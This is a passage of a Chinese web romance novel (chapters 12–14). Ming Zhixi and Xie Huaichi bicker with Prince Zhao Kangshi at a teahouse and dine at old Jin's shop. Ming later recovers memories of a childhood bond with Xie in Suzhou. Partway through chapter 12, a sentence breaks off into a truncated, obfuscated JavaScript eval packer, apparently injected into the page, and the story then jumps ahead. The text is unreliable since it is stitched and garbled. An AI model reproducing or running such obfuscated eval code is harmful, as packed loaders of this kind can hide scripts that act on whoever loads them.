明枝溪以笑回应,放下一颗银子便往楼上走,吊儿郎当的身影出现在她眼前,明枝溪走上前:“我们怎么天天都能遇见,有点邪乎啊。” 谢槐池见到来人,嘴角勾起一丝不可察觉的弧度:“是啊,有些邪乎呢,这几日都在干什么?许久未曾见过你了。” 明枝溪自然的坐在对面:“养病呢。” 小二这时跑上楼,见这俩又坐一块了,奇怪的皱起眉头,老实本分的将茶和糕点放在桌上,随后默默退下。 “伤好了吗?”谢槐池沉默良久。 明枝溪顽皮的说:“没好,我给那条腿锯掉了。”说着自己都忍不住笑出声,谢槐池也跟着笑出声。 气氛变得快活,明枝溪拿起糕点,默默的吃着,这糕点不算好吃,带回家她碰都不会碰,可是在这吃着就津津有味。 两人就这样沉默着看戏,许久后谢槐池才开口:“晚上一起去吃点?那家店主可是天天跟我念叨你呢,耳朵都起茧子了。” “可以,我同意了。”明枝溪目不转睛看着面前的戏,不知道演的什么,剧情有些狗血,可是却十分耐看。 谢槐池撑着头,看着明枝溪,心思完全不在戏曲上,仔细的瞧着明枝溪,眉头一蹙,开口问道:“你今天点痣了吗?” 明枝溪被问的发愣,反应许久才回道:“点痣?我点那玩意做什么。” 谢槐池伸出手,点了点明枝溪的眉间向上一些的地方:“你这,长了颗红痣。” 明枝溪慌乱一瞬,往后躲了躲:“真的假的?我看看。” 说着她从怀中拿出一枚极小的铜镜,向上照去,还真是有一颗极小的红痣:“诶,你不说我都没注意到,什么时候长的?我记得前几天没有的啊。” “哈哈哈,你这样真的像观世音。”谢槐池一个没忍住,不小心笑出声,连忙找补着,“不是,我不是那个意思,哈哈哈。” 12. 第12章 那算是入伙了 今日第一场戏结束,台底下的人都纷纷鼓掌,大声叫好,谢槐池不知说了什么,声音被人群的欢呼声掩盖。 明枝溪疑惑的凑上前喊着问:“你刚刚说了什么?” “没什么,你看错了吧。”谢槐池同样叫喊着。 人群的声音渐渐减弱,明枝溪才开口道:“你是不是背着我说坏话了?” 谢槐池一脸无辜,嘴角微微上扬:“真没有,冤枉呐。” 明枝溪佯装生气,双手抱在胸前,气鼓鼓道:“我不信,除非..你说拜见观世音菩萨。” “拜见观世音菩萨。”谢槐池含着笑,眼角上扬,不带一丝疑惑,语气诚恳认真,“满意吗?观世音。” 明枝溪真没料到对方真会顺着自己的话说出口,心跳不免漏了几拍,眼神左右躲闪,微微的将头往下低垂了些:“呃..相信你了。” “哈哈哈,你这个做贼心虚的样儿,明明是你让我说的。”谢槐池见她如同做错事的狐狸般,忍不住打趣。 明枝溪耳根更红了些,拿起面前的糕点塞进嘴中,一声不吭看着戏台,下一出戏已经开始了。 谢槐池正想言语,只见楼梯上走来一名,如今他最不想看到的人,默默的收回了话,转而改为:“没想到啊,怎么每日都能见着殿下,殿下没有正经事情做吗?” 明枝溪听见谢槐池说的话,转头望去,只见赵康时缓缓向此处走来,她连忙站起身做福:“淮王殿下,看来咱们三还真是有缘分啊,回回都能碰着面。” “是啊,缘分就是如此妙不可言。”赵康时似乎心情还不错,上来时还哼着小曲,一眼便看见了坐在人群中的明枝溪,笑容愈发加深,完全忽视了坐在对面的谢槐池。 他见明枝溪边上无人,便不客套一把坐下:“我坐在这儿,没意见吧。” 说着赵康时眼神撇向谢槐池,只见他保持着僵硬的笑颜,淡淡道:“殿下还是坐我这吧,与世家女子坐一块怕是不合礼仪啊。” “我记得前几日世子不还与明姑娘伴着坐吗?”赵康时不甘示弱,“难不成是我记错了?” 明枝溪见他们聊上了,自顾自坐下,思考一番后,说:“殿下还是与谢世子一同坐吧,于理不合,前些日子是有些特殊情况。” 谢槐池听了这话挑起一只眉,看向赵康时冲他挑衅一下,赵康时不情不愿的坐在他边上,用劲儿往里挤:“进去些。” “我偏不!”谢槐池纹丝不动,愣是坐在了长板凳的中间,“要不带殿下去后座?那儿还空着呢。” “我不!”赵康时依旧挤着往里坐,“我看这风景比那儿好,我就是要坐这。” 小二端着茶水糕点缓缓走上来,见两人在抢位置嘴角抽了抽,连忙走去将吃食放下,正打算走时,明枝溪喊住了他:“要不劳烦你再搬一张椅子?” 小二连连点头,扛着一张板凳放在了中间后飞奔下楼,整日听他们‘淮王,淮王,殿下,殿下’的叫早就知道这男子是何人了。 明枝溪正经开口:“我看你们不够坐,叫小二搬了这张板凳,你们谁坐?” 说时迟那时快,谢槐池一把跃出,稳稳坐在了那张板凳上:“我就不跟殿下抢了,委屈委屈自己,毕竟殿下多金贵的人呢。” 明枝溪不想再搭理二人,专心致志的看着戏,赵康时见她不再盯着这里,朝着谢槐池狠狠翻了个白眼。 “殿下若是眼睛不舒服,还是早些去治治吧,免得到时候眼盲心瞎。”谢槐池只要是能说出口的,绝对不会用过多的肢体动作,每次都能说得对方面红耳赤,先动起手来。 “你们能不能安静看戏。”明枝溪冷冷说着,眼神未曾离开过戏台半寸,两人这才不去挑衅对方。 看到后边,戏曲都不大合明枝溪胃口,她回过神来:“殿下我与谢世子提前约好要去探望一名友人,先行离去了。” 谢槐池眉眼弯弯,梨涡微现,先是看向赵康时,冲他翻了个白眼,再是看向明枝溪道:“嗯,走吧。” “二位不妨带上我一同前去吧,正好我也没什么事情。”赵康时得体的笑着望向明枝溪,期待她的答复。 明枝溪站起,微微欠身:“殿下如若是不介意,也可同行。” 谢槐池站起来,伸了伸腰,语气说不上恼怒,小声嘀咕了一句:“天天跟着,是狗吗。” “好,那我们一同去吧。”赵康时窜的站起,向着明枝溪走去。 谢槐池突兀的挡在中间道:“一起就一起吧,只是怕殿下吃不惯那儿的菜呢。” “菜?”三人一前二后的向楼下走去,边往外走,边聊着,赵康时不禁发出疑问,“菜馆子吗?那不如我请二位去樊楼?” 明枝溪摇摇头,缓缓道:“不知殿下可否知道樊楼的厨子?” 赵康时思考一番:“樊楼的厨子?你说说叫什么名儿,没准我真晓得呢。” 明枝溪刚想开口,却想起当时没有问那名店家的姓名,有些为难:“呃..到时候殿下见着了说不定就认识了。” “他可最熟了,是吧殿下,你应该不会忘记了吧,老金头啊。”谢槐池语气轻松活泼,却将赵康时唬住,只见他站在原地眼神飘忽。 明枝溪停下来,有些惊讶般对着谢槐池问:“老金头?全名叫什么?你原来认识他啊。” “全名金山甲,说不上认识吧,当时闲来无事,正好路过府衙,见里头在审案子,凑巧看了一眼,谁知道...” 谢槐池话音未落,赵康时脸色异常,打断道:“我府中有要事,先走了,二位慢聊。” “啊?”明枝溪看向赵康时,神情微愣,紧接着做福,温声道:“好吧,殿下慢走。” 赵康时点点头:“嗯,下次聊。”说罢他转身便走,速度飞快。 明枝溪没有被这意外打断,接着问谢槐池:“谁知道,然后呢?你快说。” “然后..就看到如此不公的一幕。”谢槐池故作高深。 明枝溪如同泄了气的蹴鞠,有些失望:“切,我还以为有什么关键呢,这之前你不说过吗。” 她向着前方走去,一名穿着朴素的女子撞了上来,手中杵着盲杖,衣衫破烂,见撞到人连忙跪地求饶。 明枝溪将其扶起,语气温柔:“以后慢些走,这街上人多。” 那女子连忙点头称是,摸索着往前走去,走到一条巷子里猛的睁开眼,摸一摸袖子里,脸色顿时涨红起来,面旁扭曲怒骂:“我呸,还以为遇上好心人呢,自己又把自己的荷包顺走了,现在大家闺秀都会干这些偷摸活了?” 说着她一脸气鼓的向外走去,恢复了方才那盲人的演技,撞着下一个人。 明枝溪走远了才开始大笑:“哈哈哈,她还想顺我荷包,一看就是装的,哪个盲人拿着盲杖还不用的啊。” 谢槐池抬眼看向她,眼神一亮:“她方才是在偷你荷包?” “不然呢,你见过盲人拿着盲杖,还用手向前摸的?”明枝溪向前走去,一脸骄傲,“怎么样?顺手牵羊想学吗?” 谢槐池摇摇头:“我不学,我会直接把人扣下,教训一顿。” 老旧的店门外,老金头依旧如从前一样,坐在门外的摇椅上抽着焊烟,见明枝溪来了喜笑颜开,踉跄着站起:“姑娘,可算是来了,这几日都不见你,还以为你出事了呢。” 明枝溪晃动着手中的荷包:“我府..家中事情多,前几日忙着呢,这才得空来,店家莫要担心,钱管够。” 店家一瘸一拐朝着店中走去,只见店中好似翻新了一遍,没有从前如此老旧了,明枝溪坐在窗边,池塘中的景色也不那么落败,换发生机,荷叶由水中冒出,水车一轮一轮的转着。 “这是装修了?”明枝溪见变化如此之大,疑惑问。 老金头嘿嘿笑着,眼角的皱纹皱在一起:“前些时候不知怎么了,来了一群客官,生意就逐渐好些了,银子有了,自然就是要装饰装饰我这破店咯。” 明枝溪左看右看,肯定的点点头:“我就说有人能欣赏你做的吃食,等大火了一定不要忘记我哦,我会常来的。” 老金头听了,有些扭捏,试探问道:“我有件事,不知姑娘与公子是否能帮上一二?” 谢槐池挨着明枝溪坐下,看向老金头,大方的问:“你说吧,只要是我们能帮上的,定当竭尽全力。” 明枝溪并未察觉不妥,紧接着说:“是啊,能帮就帮,都是朋友。” “我这店外还缺了件东西,不知两位有没有发现?”老金头灿烂的笑着,十分质朴。 明枝溪仔细想了想,忽的灵光一闪:“是少了点东西,招牌!” “是咯,我没上过几天学塾,不知这名儿如何取,再三思索后还是觉得让二位帮我取一个,说句实在的,我觉得你们二位是我这家店的福星呐。”老金头站在那,手舞足蹈的说着。 “何以见得?”谢槐池倒了杯茶递给明枝溪。 老金头笑的愈发强烈,半开玩笑说着:“你们来后几天,乌泱泱的人群呐,我这店许久没有来如此之多的客官了,你们不是福星那就是财神爷咯。” 明枝溪十分顺手的拿起茶喝起来,喝到一半才发现是谢槐池倒的,慌张的放下茶杯,接过老金头的话题:“咳,言重言重,可能是你运气好也说不定,至于招牌嘛,我回去想想,到时候让人做了给你送过来。” “诶呦,这可使不得,怎么好意思让姑娘花钱呢。”老金头慌张打断,“您只管说,我去找人做就是了。” 明枝溪大手一挥,示意老金头走进些,小声开口:“我有门路,比外头便宜,你要也不要?” 老金头听了,思虑再三,讪讪道:“既然..姑娘都这般说了,那我就恭敬不如从命了,只是这工钱,到时让那些人管我要,可不能花了姑娘的钱。” 明枝溪将放在桌上的荷包打开,拿了一两银子出来递给老金头,老金头见了推脱着:“使不得,都借用了姑娘的人脉,怎么好意思收钱,这顿饭我请二位。” 谢槐池勾起嘴角,玩味的说着:“你就收着吧,你看这姑娘是差钱的主吗?你若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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谢槐池拍了拍她的肩膀,见其不为所动,便将糖葫芦递到她面前,晃了晃:“小观音,你吃不吃?你不吃我可就吃了,听说这铺子的糖葫芦可好吃了,某些人没有口福咯。” 明枝溪听了伸手接过糖葫芦,糖壳与山楂的味道在空腔中迸发,酸甜的十分开胃,她双眼瞪大,眼神中泛着星光:“喔,好吃诶,以前我母亲都不给我买,还从来没吃过呢。” 谢槐池眼底绽放开浅浅笑意,向前微微探去,咬下一颗明枝溪手中的糖葫芦,在嘴中嚼着,含糊不清的说:“是好吃啊。” 明枝溪有些气血上涌,睫毛微微颤着看向谢槐池那唇线清晰,几乎都带着笑意的嘴唇,被发丝遮住的耳朵已经发红,一时间愣在原地,无法动弹,眼神时不时撇向一旁歪着头看她的谢槐池。 “你要吃不会去再买一串啊。”良久,明枝溪才缓和些,小声说着。 谢槐池撑着头看向她:“我是无业游民,买不起第二串,你怎么这么小气,就一颗也不给我吃啊。” “这个貌似不是重点吧...”明枝溪嘴角抽了抽,下眼皮带着跳。 “什么?”谢槐池将他的脸凑了过来,“我没听清。” 明枝溪连忙慌张的摆手,语气紧张:“没没没,没事,挺好吃的,哈哈哈。” 老金头端着托盘走去,看着嬉笑的两人喊道:“来喽。” 明枝溪转过头看向‘救星’,对着谢槐池道:“吃的来了,先吃饭。” 说着顺口将最后一颗糖葫芦塞进口中,谢槐池撇眼看见,眼神不自觉躲闪起来,只好对着老金头道:“老金,你坐下来陪我们吃点吧,正好现在也到饭点了。” 明枝溪已经将嘴塞满,口中说着什么,老金头并听不懂,求助的看向谢槐池。 “她说,对啊,一起吃点吧,我们不会介意的,人多吃饭香。”谢槐池翻译道。 “公子,你听的懂啊....”老金头并没有推脱,坐在二人前方,帮两人盛着饭。 谢槐池小口吃着菜:“她家管得严,在家吃饭的时候都不能大口吃,出来了自然就养成这样了,习惯就好。” “管得严?”老金头默默的将饭递到她面前,“想必是都吃不上什么好菜吧,瞅瞅这孩子瘦的,是不是家里有什么姨娘虐待你啊?” 这老板想的挺多啊,明枝溪想着,猛的被呛了一口,谢槐池反应迅速拍着她的背,好似两人十分熟悉,明枝溪的一举一动他都知晓。 明枝溪大口喝着水,顺溜了,本想与老板解释清楚,却话音一转,玩笑着说:“不..错啊,我家就是如此,总是有个姨娘来欺负啊,不给我饭吃。” 老金头听了更加心疼,这回却轮到谢槐池开始呛了:“咳咳,嗯,对的,她家苛待她。” 老金头疯狂往她饭碗里夹菜,心疼的说:“那你多吃点,以后就当我干女儿,吃不饱尽管来找我。” 说着老金头端起一杯酒,对着谢槐池道:“你以后没处去就来我这,我管吃管住。” 谢槐池哈哈笑着,也端起酒,两人一饮而尽,明枝溪则是以茶代酒,对着老金说:“那就说好了,我们两就算是入伙了。” 13. 第13章 记忆恢复 三人在店中聊了许久,直到外头的墨汁洒落,亮起一盏盏橙黄色的烛灯,明枝溪与谢槐池与老金头挥手道别,两人朝着尽头一路走去。 “你不回府?”明枝溪见谢槐池一路跟着自己,没有打算回府的意思,开口问。 谢槐池端正走着,双鱼玉佩在腰间发出清脆的声响:“嗯,顺路。” “顺路?”明枝溪估摸算着距离,疑惑的看向他问,“侯府在东城,我家在西城,怎么个顺路法?” 蚂蚁正在街上搬运着小儿随手扔掉的麦芽糖,乌泱泱聚集了一片。 “就是顺路。”谢槐池撇过脸,躲避着明枝溪的目光,“我想你一个人回去会无聊,做个伴。” “那差不多就送到这吧。”明枝溪双手背在身后,低垂着头,一步步朝着前方走去。 谢槐池站在身侧,眸子微微发亮:“没事,送都送了,小观音总得让我送完吧?” 明枝溪脸微微发烫,连忙找着话题:“我哥还有几天就大婚了,你来吗?” 只见谢槐池点点头:“来的,他的喜酒我肯定要吃,顺便沾沾喜气。” “哦...你好像很喜欢腰间的那块玉佩。”明枝溪实在觉着气氛有些微妙,乱找着话题。 谢槐池听了,双手探去,从腰间解下玉佩:“这其实是两副,当时做好还没来得及送出去,出了些意外。” 明枝溪不由得想起之前那绣工蹩脚的荷包,开口问:“是要送给之前给你绣荷包那女孩?” “嗯,只是她什么都不记得了。”谢槐池说完,卸下一块玉佩,上头雕刻的是锦鲤,玉质细腻无暇,也是一块很难得的好玉,他不动声色递到明枝溪手边,“送给你吧。” 明枝溪看着面前的玉佩,眼神有些迷离,许久才不好意思的回答:“不了吧,毕竟是要送给那女孩的,我收了算什么,我又不是你的...总而言之,你还是收着吧,万一那女孩想起来了呢。” “你怎么知道自己不是那女孩?”谢槐池语气认真,一脸正经的看着明枝溪,“如果我说你就是呢?” 一连串问题已经打的明枝溪有些不清醒了,她站在原地,明明没有喝酒,却觉得自己的脑袋昏沉,目光注视着谢槐池,一言不发。 “你有过一段空窗,你怎么知道那个空窗里没有我呢?”谢槐池见她站在原地,停下脚步,目光灼灼望着她,“我说是你,你不记得也没关系,不承认也无碍,那人只会是你。” “你...你说什么呢?”明枝溪满脸通红,脸热的像是一块熟肉,“谢世子还是不要拿我开玩笑了。” “我没开玩笑!”谢槐池喊道,“我知道你一时之间难以相信,但是我真的受不了了,十年前,你祖母还在苏州吧,你犯了错,跟随你祖母生活。” “我当时也跟着祖母,我们二人常常一同出门,斗蛐蛐,斗鸡,去泥巴地里捣乱,这些你都不记得了吗?你迟迟没有回来,我便求着祖母去京城找父亲。” “好不容易到了京城,好不容易才找到你,你的耳后有一颗红痣,儿时梦想是去江湖上当女侠,你还说过...你..你要嫁给我。” 明枝溪彻底不做声了,表情呆滞看向谢槐池,双眼微微放大,有些惊慌与窘迫:“谢世子,是不是方才酒喝多了?说糊涂话了?这些事情我暂时还不知道是怎么回事。” “我回去再仔细想想行吗,你还是早些回府吧,或者上我府中与我哥挤挤也行。” 话音未落,谢槐池打断道:“不,我没醉,我说的都是...” “谢世子!我承认我第一次见你是对你有些莫名好感,现在也是,可是这些事情你需要容我细细想...告辞。”明枝溪打断对方的话,朝着前方跑去,一溜烟蹿进府中,躲在墙后大口呼气。 谢槐池眼神失落的收回玉佩,将它重新别回腰间,落寞的走着,看上去有些懊恼。 明枝溪偷看两眼,见谢槐池已经走了这才缓缓向院中走去,走至半路忽然折返,去了明子晋院中,屋内灯红通明,映在门外的石子地上。 “哥,你睡了吗?”明枝溪敲着门问道。 里头传来一阵急促的脚步声,不一会儿明子晋才开开门,屋内布置的十分喜庆,与明枝溪的心情形成鲜明的对比。 “枝溪啊,怎么了?”明子晋站在门口,见到来人是明枝溪开口问,“怎么脸色这般难看?你伤应当已经好全了吧?快进来坐。” 明枝溪一脸无精打采,迈着沉重的步伐向里走去,随意的坐在板凳上:“我小时候和谢槐池认识?” “啊?你怎么突然问这个?没有啊,你怎么可能和他认识呢。”明子晋眼神飘忽不定,整个人十分窘迫,挠着头回答。 明枝溪一眼就看出有猫腻,语气里带着几分威胁:“你有事情瞒着我啊?老实交代,不然我今天晚上回去就一头磕在石墩上,看看能不能恢复记忆。” 明子晋依旧坚持着自己那套说辞,额角渗出汗水,衣衫也被汗水浸透。 “有没有人说过你撒谎的时候眼神总是往右看?还有你撒谎的时候喜欢搞些小动作,比如现在。”明枝溪眼底抽动,语气平淡的反驳着。 明子晋低头一看,方才拿着的书籍已经被他一页页的折起来,变为了‘半本’,他猛的将书背过身去:“哈哈哈,是你想多了,一定是最近没睡好觉吧,怎么胡言乱语了。” “看来是没人跟你说,你撒谎的时候还有一点,总是傻笑。”明枝溪大口叹着气,手肘撑在桌上扶着头,按揉着太阳穴,“我的哥啊,你还是老实跟我说吧,你知道我说一不二的,别等下没控制住力道,给自己撞死了。” 明子晋缓缓走去,坐在榻上,将书一页页翻开,放平,拿了个砚台顺手压着,一句话也不说。 “切,那我走了。”明枝溪不耐烦的打开门走出去,回头看去,明子晋正假装自己很忙,这摸摸,那儿摸摸,只好一脸无奈的往自己院中走去。 一路上的红绸罗缎更加显眼,明枝溪看着一旁的石灯,正想着要不要试一下的时候,明映从背后蹿出,悄悄的用手指点了点明枝溪背脊。 明枝溪只觉着脊背发凉,微微转头看向身后,见着了正扮这鬼脸的明映,一声尖叫划破天际,她吓的一头撞在石灯上,血流不止。 明映意识到玩脱了,手忙脚乱的大声喊叫着:“快来人啊,姐姐,姐姐好像要死了。” 一群婢女纷纷赶出来,见着了躺在地上一动不动的明枝溪,又纷纷开始忙碌,一个去请大夫,一个去找大娘子与家主,还有一个去找和小娘。 明枝溪晕倒前只觉着自己好像在缓慢移动,却又动不了,‘灵魂’好像飘在天上了,只不过这方法还是有用的,她看见了那段被自己尘封已久的回忆。 —————— 苏州,寒冬中,苏州下雨,雨中还伴随着白皑皑的雪花,这是八岁的明枝溪第一次来这,因为自己在京城太皮,所以被送到祖母身边养性子。 她看着眼前的美景,眼睛瞪得像夜明珠,苏州下雪与京城下雪,终归是有些不一样,园林上纷纷披上了雪白的毯子,十分雅致,让人一眼就不得忘怀。 祖母的宅子十分大,明枝溪常常走丢,随后被老妈子捞回去,直到一个月后才记清所有路线,每日去寻找祖母请安,随后在院中学着点茶,插花,时不时还教几日马球。 日子虽然排的满满当当,却还是索然无味,直到祖母某一日有要事早早出了门,明枝溪这才找到功夫偷闲,本想偷偷溜出去,却发现不论是大门还是正门都被小厮堵的严严实实,怕是连只苍蝇都飞不出去。 所以明枝溪只好找了一处人少的地方,踩着木桩子翻墙出去,只是没想到这宅子竟然是连在一起的,一下翻到了隔壁宅子中,明枝溪本想着翻回去,环顾一圈竟然没发现一处能踩的东西。 她只好向深处走去,望向四周,没有什么婢女小厮,甚至没有人,明枝溪有些害怕,独自走在宽阔的宅院中,直到一处闪过人影,明枝溪像抓住救命稻草般冲向前去。 一把抓住面前这个高挑的少年,泪眼婆娑:“哥哥,我是隔壁院子的,不小心翻过来了,可以带我回去吗?” 面前这人便是少年的谢槐池,此时还略显青涩,左侧嘴角边还带着一颗痣,说起话来十分好听:“你是隔壁院儿的?嘿!正好!我正愁没人跟我出去玩呢!我们一起出去吧。” 明枝溪双眼发光,努力点头,跟在谢槐池身后默默的走出了大门,一路上没有人过问,也没有人来拦,都是恭恭敬敬的行礼后,各忙各的。 无人在意面前的小女孩。 苏州的大街热闹非凡,谢槐池带着明枝溪向一处小巷子中走去,隐约间还传来别的孩童稚嫩的声响,两人往里走去,只见有一群小孩,有男有女,正看着蛐蛐在那儿打架。 明枝溪没有见过这场面,紧紧攥着谢槐池的衣角,跟在屁股后面,众人见谢槐池来了都纷纷喊道:“谢世子来了,谢世子有没有带什么好玩的?” 谢槐池从怀中掏出一个精致的蛐蛐盒子,在众人面前炫耀道:“这是我祖母给我挑的蛐蛐,很大的,给你们开个眼界。” 众人将头探去,谢槐池缓缓打开盖子,一只体型硕大的蛐蛐正呆在里面,吵闹的叫着,明枝溪也被勾起了兴趣,微微凑上前看去,被吓了一跳,连连后退。 “诶?这怎么还有一个人?谢世子你带来的嘛?”一名小男孩脸上红扑扑的,头上挂着耳罩,鼻涕直流。 谢槐池好似这才想起还有个人,这才转身宽慰:“没事的,它不咬人的,我们管这叫斗蛐蛐,谁输了就请赢家吃糖,对了,刚刚说话这个我们管他叫大牛。” 大牛缓缓走向前,笑着露出了他那缺了个门牙的嘴:“你好啊,你以后也可以叫我大牛。” 明枝溪害羞的抬起头看向面前两人,怯生生点点头:“你们蛐蛐是哪里来的,我没有玩过。” 谢槐池大方的将方才炫耀的蛐蛐盒子递过去给明枝溪:“喏,这个送你。” 明枝溪摆摆手,面色泛红,羞涩道:“我祖母不让我玩这些,我 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三人抬头望去,盯着那只蝴蝶,明枝溪看的都愣了神,到最后蝴蝶飞走了,目光也久久不能收回。 谢槐池率先回过神,开口饶有兴致道:“我们去下一个地方吧。” “好呀好呀,是不是另一条巷子?”大牛兴致勃勃的原地蹦跶着。 明枝溪不知道他们说的是什么地方只得漠然点头,跟着两人走着矮小的身影与二人形成对比。 巷子中乌泱泱挤着一群人,有大人也有小孩,谢槐池不要命似得往里头挤去,见明枝溪胆怯的站在末尾又折返回去,拉住她的手便往里挤去。 至于大牛,已经被人群挤的没了影了,两人挤过人群终于到了第一排,眼前是两名少年正在斗鸡,嘴里拼命的喊叫着。 “上啊,超级飞雄,打死它。” “二小六,你可不能再输了,再输我就把你带回家煲汤喝!” 明枝溪双眼睁大,不敢相信眼前的场景,只见两只鸡‘咯咯’叫着向对方扑去,一阵厮杀,鸡毛掉落一地,二小六终究是逃不过被煲汤的命运,躺在地上一动不动的装死。 那名黑衣少年顿时恼羞成怒,上去狠狠踹了一脚超级飞雄,踢的对方‘咯咯’大叫起来,上去便要啄对方,却被自己的主人一把抱入怀中。 那名白衣少年大声吼叫着:“你耍赖!都已经结束了为什么要踹我的鸡。” 两人顿时吵得一发不可收拾,明枝溪被这阵仗吓的愣在原地,直到一名大人站出来喊道:“你们要打架去边上去,还有下一组呢。” 吵闹的两人这才不欢而散,换成去别处打架去了,观看斗鸡的人群顿时少了大半,也不再拥挤,都去围观那两名少年互殴呢。 明枝溪对斗鸡没有什么兴趣,有些犯困,肚子也传来叫声,在人声鼎沸的小巷子里谢槐池稳稳捕捉,拉着她往外走,两人找了一圈没见着大牛,只好打道回府。 到了宅子中,谢槐池领着明枝溪到今早碰面的地方,双手撑着墙壁,对着明枝溪喊道:“你踩着我回去吃饭吧。” 明枝溪微微后退几步:“这不好吧哥哥。” “没事,男子汉大丈夫,当顶天立地也。”谢槐池冲着明枝溪呲牙笑着。 明枝溪也着急回宅子,生怕回去晚了被发现,一不做二不休的踩着谢槐池的背翻了回去,稳稳落地,隔着这堵墙两人做下约定,只要明枝溪空闲了便提前扔一块石子,谢槐池保准在这等她。 回了自己的院子,明枝溪端正的吃着饭,祖母凑巧回来了,来了她院子中,见她听话的起床吃饭,点了点头,伴着明枝溪坐下一同用餐。 “我昨日教你的今早可否有温习?”祖母沉沉的嗓音传来。 明枝溪虽然心头一颤,却还是稳稳答道:“嗯,温习了。” “那下午来我院中再展示一遍。”祖母吃着饭菜,语气带有些严肃。 之后每一日,明枝溪都盼望着祖母能有事外出,总有那么些日子两人时常偷溜出去玩耍,渐渐的成为了彼此生活中不可分离的存在。 直到六年后有一日,祖母忽的一大早来院子中,告知明枝溪今日午后即将回京,明枝溪着急的去找谢槐池,连续扔了十几块石子,附近的石子都被扔完了,谢槐池都迟迟没有出现。 明枝溪急的差点哭出声,找到木桩狠狠翻进去,一个没站稳跌落在地,膝盖被磕破,流出鲜血,可明枝溪并未多管,到处寻找着谢槐池,终于在他宅子里的池塘边找到了他。 他独自一人坐在那,背影十分孤单,明枝溪有些不忍心将自己要走的消息告诉他,可对方却发现了明枝溪的存在,笑着打着招呼。 明枝溪失落的向前走去,沉默许久后开口:“我午后要回京城了,我不想走...我不想和你分开,在这里与你一起出门玩耍的日子是我最开心的时候。”说着她一把扑进谢槐池的怀中,小声的啜泣着。 “你还会回来吗?我会等你,不管多少春夏秋冬,我都会等你。”谢槐池双眼泛红,小声的说。 14. 第14章 我很想你 池塘中的锦鲤一条条浮出水面冒泡,微小的气泡在水面上久久不灭。 一只红透的鲤鱼从水中跃起,发出‘噗通’的声响又落回水中,涟漪一圈圈荡漾开,池水拍打在石壁上。 明枝溪抬头看着谢槐池,用力点头:“我会回来的,我一定会回来找你的。” 谢槐池抿着唇,将手心藏着的玉佩往袖子里掩了掩:“好,那等你回来我送给你一个东西。” “如果有人欺负你,你不要怕,狠狠的欺负回去,叫他们害怕,这样他们下次就不敢欺负你了。” 隔壁宅子传来一阵阵呼喊,明枝溪使劲的往谢槐池怀里钻,仿佛这样就能隔绝那些声音。 两人就保持着这个姿势,直到谢槐池调整好心态。 他深深的叹气,将明枝溪扶起,两人对视着:“我..我以前不知道喜欢是什么样的,但是我现在知道了,我...” 明枝溪伸出手捂住对方正欲讲出情话的嘴,轻轻摇摇头:“我知道的哥哥,我会等着你来娶我,等着你风光的下聘,十里红妆的带着我回去。” 王老太太闻声缓步走来,站在柳树后探出头,观望着两小无猜,示意身边的婢女们都安静些。 见两人迟迟没有下部动作,她才轻轻的咳嗽一声,缓缓走去。 明枝溪听见了动静,赶忙撤下手,望向后方,见来人是谢槐池祖母更加慌张的开始做福:“我,我,我是隔壁宅子的,今天来...” “我知道,你们小年轻的心思还逃得过我吗?你的家人都在找你,快回去吧。”王老太太笑着,站在不远处看着明枝溪。 柳树枝遮挡了她的视线,隐约觉得是一个长得端正的女孩。 明枝溪再次做福,失魂落魄的走在回府的路上,这六年她已经长高了许多,十四岁了,站在高大的外墙后,可以不用木桩子,只是会比较狼狈。 她独自一人站在那儿,身后传来脚步声,她回眸望去,谢槐池挠着头,脸泛着红晕,羞涩的看着她,嘟囔道:“踩着我去吧,怕你摔了。” 明枝溪露出牙笑起来,阳光照透乌云,短暂的落在明枝溪身上,发丝在阳光的照射下,变得金黄,彷如谪仙。 一如既往的回到院子,明枝溪靠在墙面后,轻声说:“哥哥,如果我没回来怎么办?” 谢槐池也靠着墙,两人仿佛背对着背:“我会去找你。” 明枝溪捂着脸,露出双眼,鼓足勇气喊:“那你一定要来娶我!” 说罢她一溜烟就跑回自己院子中。 吃完膳食,午后马车在宅子门口停着,明枝溪在婢女的搀扶下,上了马车。 坐在里头朝着外面望去,远远的见到谢槐池独自站在门口,双目对视,目送明枝溪离去。 半个月后,快马加鞭,明枝溪终于是到了京城,颠的明枝溪下车后,直直冲向院内吐起来。 婢女慌忙的擦拭着,明枝溪则是沐浴更衣后第一时间找母亲问安。 一路上明枝溪走的规规矩矩,仿佛真养成了性子,默默的走向博音风院子中,站在门外规矩的等待着,不一会婢女打开门让她进去。 明枝溪一进去便跪下行礼:“许久未见母亲,给母亲问安。” 博英风正坐在梳妆台前,几名婢女井井有条的梳着头:“起来吧,将你送去祖母那儿,你可怪我?” 明枝溪缓缓站起,摇摇头:“母亲教导有方,孩儿不敢妄下言论。” “当真是养好性子?罢了,明日傍晚有宫宴,好好休息,明日一同去吧,先回去吧。”博英风眼神撇上站在那儿低着头的明枝溪。 婢女无意中扯动了她的青丝,她瞬间蹙起眉:“嘶,没用的玩意,还不给我滚下去,换个人来。” 明枝溪默默后退,退出门外,那名婢女有些窘迫的走出,匆匆回院门口站着,掩面啜泣。 明枝溪缓缓走向她,递出一枚帕子:“莫要哭了,给大娘子看见又要责罚你。” 那名婢女微微点头,接过帕子擦拭着眼泪:“谢谢姑娘。” 明枝溪轻叹一声,朝着自己院中走去,明子晋忽的跑出:“枝溪,你终于回来了,怎么样?苏州好玩吗?” “不好玩...好玩。”明枝溪有些纠结的说,“我遇见了一个人,他很好,对我很好,有人欺负我他会帮我欺负回去,有了吃食,玩具都第一时间拿给我。” 明子晋疑惑的看向她:“你不是去养性子吗?怎么还能出去玩,这样我也要去了啊。” 明枝溪涨红了脸,比着噤声的手势:“你不要说出去,说出去我就死定了。” “好好好,不说不说,去你房里下棋怎么样?”明子晋拉着明枝溪的手跑起来,也不管明枝溪同不同意,跑起来会不会累。 一溜烟就跑进了雪竹院门外,他指着门口的牌匾对着明枝溪说,“这匾额我写的,怎么样?厉害吧。” 明枝溪叉着腰喘气,听明子晋这般说才微微抬起头看去。 真别说,不仔细看根本察觉不到这个存在:“写的什么字,还没有我写的一半好看。” “真的假的?你在苏州还学了这个?祖母到底教了你什么?”明子晋瞪大双眼。 明枝溪掰着手指数:“女红,书法,围棋,蹴鞠,马球,习琴,作画,每日读几本书。” 